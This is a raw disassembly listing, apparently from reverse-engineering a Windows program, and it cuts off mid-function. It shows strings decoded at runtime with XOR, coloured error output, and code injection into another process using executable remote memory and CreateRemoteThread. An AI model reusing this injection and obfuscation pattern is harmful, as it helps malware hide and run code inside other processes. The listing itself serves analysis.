mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0xf4]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0xf4], eax
test eax, eax
jne 0x429b82
push ecx
lea eax, [ebp - 0x2b]
push eax
push esi
lea ecx, [ebp - 0x5b0]
call fcn.00412e10
mov dword [ebp - 4], 8
mov dword [ebp - 0x48], 0x52a0e4e0
mov dword [ebp - 0x44], 0x24f34663
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x48], 0xf9209998
mov dword [ebp - 0x44], 0xc582aab
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x48], 0xd701a77d
mov dword [ebp - 0x44], 0x7fff4eeb
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x48], 0x32a3b4d4
mov dword [ebp - 0x44], 0x643516ca
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x48], 0xd7018747
mov dword [ebp - 0x44], 0x7fff4eeb
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x48], 0x32a3b4d4
mov dword [ebp - 0x44], 0x643516ca
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x140]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x124], ecx
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x128], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x130]
movaps xmmword [ebp - 0xb0], xmm1
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x429d00
sub ecx, edx
lea eax, [ebp - 0xc0]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x5b0]
call fcn.00416370
mov dword [ebp - 0x360], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x370], xmm0
mov dword [ebp - 0x35c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x370], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x360], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 9
push eax
lea edx, [ebp - 0x370]
lea ecx, [ebp - 0x4d8]
call fcn.004128d0
add esp, 4
mov esi, eax
push 0xfffffffffffffff5
mov byte [ebp - 4], 0xa
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edi, eax
lea eax, [ebp - 0x60]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push 9
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
cmp dword [esi + 0x14], 0xf
mov eax, dword [esi + 0x10]
jbe 0x429dcf
mov esi, dword [esi]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, esi
push eax
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [ebp - 0x4c4]
cmp ecx, 0xf
jbe 0x429e24
mov edx, dword [ebp - 0x4d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429e1a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x35c]
mov dword [ebp - 0x4c8], 0
mov dword [ebp - 0x4c4], 0xf
mov byte [ebp - 0x4d8], 0
cmp ecx, 0xf
jbe 0x429e79
mov edx, dword [ebp - 0x370]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429e6f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x59c]
mov dword [ebp - 0x360], 0
mov dword [ebp - 0x35c], 0xf
mov byte [ebp - 0x370], 0
cmp ecx, 0xf
jbe 0x429abe
mov edx, dword [ebp - 0x5b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429ab4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x429ab4
jmp 0x428cc3
push 0
push 0x1c
lea ecx, [ebp - 0xe0]
push ecx
push eax
push edi
call dword [ebp - 0x114]
test eax, eax
jne 0x42a2e1
mov dword [ebp - 0x48], 0x1df2bc8c
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xf0]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
xorps xmm1, xmmword [ebp - 0x110]
movaps xmmword [ebp - 0xf0], xmm1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
lea esi, [ebp - 0x2b]
mov dword [ebp - 0xf4], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0xf4]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0xf4], eax
test eax, eax
jne 0x429f92
push ecx
lea eax, [ebp - 0x2b]
push eax
push esi
lea ecx, [ebp - 0x538]
call fcn.00412e10
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x48], 0x52a0e4e0
mov dword [ebp - 0x44], 0x24f34663
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x48], 0xf920999e
mov dword [ebp - 0x44], 0xc582aab
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x48], 0xd701a77d
mov dword [ebp - 0x44], 0x7fff4eeb
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x48], 0x32a3b4d4
mov dword [ebp - 0x44], 0x643516ca
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x48], 0xd7018747
mov dword [ebp - 0x44], 0x7fff4eeb
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x48], 0x32a3b4d4
mov dword [ebp - 0x44], 0x643516ca
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x140]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x124], ecx
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x128], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x130]
movaps xmmword [ebp - 0xb0], xmm1
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a110
sub ecx, edx
lea eax, [ebp - 0xc0]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x538]
call fcn.00416370
mov dword [ebp - 0x390], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3a0], xmm0
mov dword [ebp - 0x38c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3a0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x390], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0xf
push eax
lea edx, [ebp - 0x3a0]
lea ecx, [ebp - 0x448]
call fcn.004128d0
add esp, 4
mov esi, eax
push 0xfffffffffffffff5
mov byte [ebp - 4], 0x10
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edi, eax
lea eax, [ebp - 0x60]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push 9
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
cmp dword [esi + 0x14], 0xf
mov eax, dword [esi + 0x10]
jbe 0x42a1df
mov esi, dword [esi]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, esi
push eax
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [ebp - 0x434]
cmp ecx, 0xf
jbe 0x42a234
mov edx, dword [ebp - 0x448]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a22a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x38c]
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x434], 0xf
mov byte [ebp - 0x448], 0
cmp ecx, 0xf
jbe 0x42a289
mov edx, dword [ebp - 0x3a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a27f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x524]
mov dword [ebp - 0x390], 0
mov dword [ebp - 0x38c], 0xf
mov byte [ebp - 0x3a0], 0
cmp ecx, 0xf
jbe 0x42a6f0
mov edx, dword [ebp - 0x538]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a6e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42a6e6
jmp 0x428cc3
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call esi
mov edi, eax
mov dword [ebp - 0xf4], edi
test edi, edi
jne 0x42a721
mov dword [ebp - 0x48], 0x1df2bc8c
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xf0]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
xorps xmm1, xmmword [ebp - 0x110]
movaps xmmword [ebp - 0xf0], xmm1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
lea esi, [ebp - 0x2b]
mov dword [ebp - 0xf4], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0xf4]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0xf4], eax
test eax, eax
jne 0x42a3a8
push ecx
lea eax, [ebp - 0x2b]
push eax
push esi
lea ecx, [ebp - 0x550]
call fcn.00412e10
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x48], 0x52a0e4e0
mov dword [ebp - 0x44], 0x24f34663
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x48], 0xf920999f
mov dword [ebp - 0x44], 0xc582aab
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x48], 0xd701a77d
mov dword [ebp - 0x44], 0x7fff4eeb
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x48], 0x32a3b4d4
mov dword [ebp - 0x44], 0x643516ca
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x48], 0xd7018747
mov dword [ebp - 0x44], 0x7fff4eeb
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x48], 0x32a3b4d4
mov dword [ebp - 0x44], 0x643516ca
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x140]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x124], ecx
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x128], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x130]
movaps xmmword [ebp - 0xb0], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a522
sub ecx, edx
lea eax, [ebp - 0xc0]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x550]
call fcn.00416370
mov dword [ebp - 0x2d0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2e0], xmm0
mov dword [ebp - 0x2cc], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2e0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2d0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0x12
push eax
lea edx, [ebp - 0x2e0]
lea ecx, [ebp - 0x460]
call fcn.004128d0
add esp, 4
mov esi, eax
push 0xfffffffffffffff5
mov byte [ebp - 4], 0x13
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edi, eax
lea eax, [ebp - 0x60]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push 9
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
cmp dword [esi + 0x14], 0xf
mov eax, dword [esi + 0x10]
jbe 0x42a5f1
mov esi, dword [esi]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, esi
push eax
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [ebp - 0x44c]
cmp ecx, 0xf
jbe 0x42a646
mov edx, dword [ebp - 0x460]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a63c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x2cc]
mov dword [ebp - 0x450], 0
mov dword [ebp - 0x44c], 0xf
mov byte [ebp - 0x460], 0
cmp ecx, 0xf
jbe 0x42a69b
mov edx, dword [ebp - 0x2e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a691
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x53c]
mov dword [ebp - 0x2d0], 0
mov dword [ebp - 0x2cc], 0xf
mov byte [ebp - 0x2e0], 0
cmp ecx, 0xf
jbe 0x42a6f0
mov edx, dword [ebp - 0x550]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a6e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov edi, dword [ebp - 0x118]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [ebp - 0x148]
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x1b4]
push edi
call esi
jmp 0x42cb75
mov esi, dword [ebp - 0x118]
push 0
push 0x1000
push 0x42cba0
push edi
push esi
call dword [ebp - 0x114]
test eax, eax
jne 0x42ab41
mov dword [ebp - 0x48], 0x1df2bc8c
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xf0]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
xorps xmm1, xmmword [ebp - 0x110]
movaps xmmword [ebp - 0xf0], xmm1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
lea esi, [ebp - 0x2b]
mov dword [ebp - 0x114], ecx
nop dword [eax]
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x114]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x114], eax
test eax, eax
jne 0x42a7f0
push ecx
lea eax, [ebp - 0x2b]
push eax
push esi
lea ecx, [ebp - 0x568]
call fcn.00412e10
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x48], 0x52a0e4e0
mov dword [ebp - 0x44], 0x24f34663
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x48], 0xf920999c
mov dword [ebp - 0x44], 0xc582aab
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x48], 0xd701a77d
mov dword [ebp - 0x44], 0x7fff4eeb
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x48], 0x32a3b4d4
mov dword [ebp - 0x44], 0x643516ca
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x48], 0xd7018747
mov dword [ebp - 0x44], 0x7fff4eeb
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x48], 0x32a3b4d4
mov dword [ebp - 0x44], 0x643516ca
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x140]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x124], ecx
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x128], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x130]
movaps xmmword [ebp - 0xb0], xmm1
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a970
sub ecx, edx
lea eax, [ebp - 0xc0]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x568]
call fcn.00416370
mov dword [ebp - 0x2e8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2f8], xmm0
mov dword [ebp - 0x2e4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2f8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2e8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0x15
push eax
lea edx, [ebp - 0x2f8]
lea ecx, [ebp - 0x478]
call fcn.004128d0
add esp, 4
mov esi, eax
push 0xfffffffffffffff5
mov byte [ebp - 4], 0x16
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edi, eax
lea eax, [ebp - 0x60]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push 9
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
cmp dword [esi + 0x14], 0xf
mov eax, dword [esi + 0x10]
jbe 0x42aa3f
mov esi, dword [esi]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, esi
push eax
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [ebp - 0x464]
cmp ecx, 0xf
jbe 0x42aa94
mov edx, dword [ebp - 0x478]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42aa8a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x2e4]
mov dword [ebp - 0x468], 0
mov dword [ebp - 0x464], 0xf
mov byte [ebp - 0x478], 0
cmp ecx, 0xf
jbe 0x42aae9
mov edx, dword [ebp - 0x2f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42aadf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x554]
mov dword [ebp - 0x2e8], 0
mov dword [ebp - 0x2e4], 0xf
mov byte [ebp - 0x2f8], 0
cmp ecx, 0xf
jbe 0x42af4e
mov edx, dword [ebp - 0x568]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42af44
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42af44
jmp 0x428cc3
push 0
push 0
push dword [ebp - 0x1b4]
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x42af8f
mov dword [ebp - 0x48], 0x1df2bc8c
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xf0]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
xorps xmm1, xmmword [ebp - 0x110]
movaps xmmword [ebp - 0xf0], xmm1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
lea esi, [ebp - 0x2b]
mov dword [ebp - 0x114], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x114]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x114], eax
test eax, eax
jne 0x42ac05
push ecx
